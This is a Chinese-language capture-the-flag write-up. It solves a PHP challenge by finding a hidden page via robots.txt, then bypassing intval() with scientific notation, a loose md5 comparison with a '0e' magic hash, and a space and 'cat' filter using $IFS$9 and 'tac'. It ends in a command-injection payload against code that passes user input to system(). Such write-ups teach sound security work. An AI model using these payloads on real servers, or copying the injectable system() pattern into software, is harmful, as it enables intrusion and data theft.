robots.txt文件及inval函数和md5绕过

robots文件及inval函数和md5绕过

打开页面,发现有bot文字出现,所以我们可以考虑是robots.txt文件,即访问限制的文件,构造payload

1
/robots.txt

我们可以看见

1
2
User-agent:*
Disallow:/fAke_flagggg.php

因此,我们访问/fAke_flagggg.php文件,发现flag{this_is_not_flag},然后我们刷新再抓包,发现回显的包中有一个提示

1
Look_at_me:fl4g.php

然后去访问/fl4g.php文件,发现有源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
<?php
header('Content-type:text/html;charset=utf-8');
error_reporting(0);
highlight_file(__file__);


//level 1
if (isset($_GET['num'])){
$num = $_GET['num'];
if(intval($num) < 2020 && intval($num + 1) > 2021){
echo "我不经意间看了看我的劳力士, 不是想看时间, 只是想不经意间, 让你知道我过得比你好.</br>";
}else{
die("金钱解决不了穷人的本质问题");
}
}else{
die("去非洲吧");
}
//level 2
if (isset($_GET['md5'])){
$md5=$_GET['md5'];
if ($md5==md5($md5))
echo "想到这个CTFer拿到flag后, 感激涕零, 跑去东澜岸, 找一家餐厅, 把厨师轰出去, 自己炒两个拿手小菜, 倒一杯散装白酒, 致富有道, 别学小暴.</br>";
else
die("我赶紧喊来我的酒肉朋友, 他打了个电话, 把他一家安排到了非洲");
}else{
die("去非洲吧");
}

//get flag
if (isset($_GET['get_flag'])){
$get_flag = $_GET['get_flag'];
if(!strstr($get_flag," ")){
$get_flag = str_ireplace("cat", "wctf2020", $get_flag);
echo "想到这里, 我充实而欣慰, 有钱人的快乐往往就是这么的朴实无华, 且枯燥.</br>";
system($get_flag);
}else{
die("快到非洲了");
}
}else{
die("去非洲吧");
}
?>

发现有三层的过滤

第一层过滤

1
2
3
4
if(intval($num)<2020 && intval($num+1)>2021){

echo "我不经意间看了看我的劳力士, 不是想看时间, 只是想不经意间, 让你知道我过得比你好.</br>";
}

其中intval()函数为获取变量的整数值,所以intval()函数的参数如果输入科学计数法的字符串的话,会以e前面的数字返回值,而对于科学计数法+数字的话,会返回字符串类型,本地调试

1
2
3
4
5
6
<?php
$num=3e3;
echo(intval($num));
echo('<br>');
echo(intval($num+1);
?>

这样就可以绕过这层过滤

第二层过滤

1
2
3
if($md5==md5($md5)){
echo "想到这个CTFer拿到flag后, 感激涕零, 跑去东澜岸, 找一家餐厅, 把厨师轰出去, 自己炒两个拿手小菜, 倒一杯散装白酒, 致富有道, 别学小暴.</br>";
}

可以利用php弱类型进行绕过,就是当用==对两个md5的值进行比较时,如果md5的值的前两位为0e时,hash值会为0,致使两个不同的md5值相同,不过

1
0e后面的必须是数字

所以我们可以使用

1
0e215962017

来进行绕过,然后写了一个简陋的exp来获取可以使用的数字

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php

for($k=0;$k<=1000000000;$k++){
$i="0e".$k;
$j=substr(md5($i),0,2);
if($j=="0e"){
for($h=2;$h<strlen(md5($i));$h++){
if(substr(md5($i),$h,1)<'0' || substr(md5($i),$h,1)>'9'){
break;
}
}
echo $h;
if($h==strlen(md5($i))){
echo "0e".$k;
}
echo "<br />";
}
}

?>

第三层过滤

1
2
if(!strstr($get_flag," ")){
$get_flag = str_ireplace("cat", "wctf2020", $get_flag);

这里过滤了空格和cat,所以,我们可以用$IFS$9来代替空格,而tac来代替cat,所以构造payload

1
num=2e5&md5=0e215962017&get_flag=tac$IFS$9fllllllllllllllllllllllllllllllllllllllllaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaag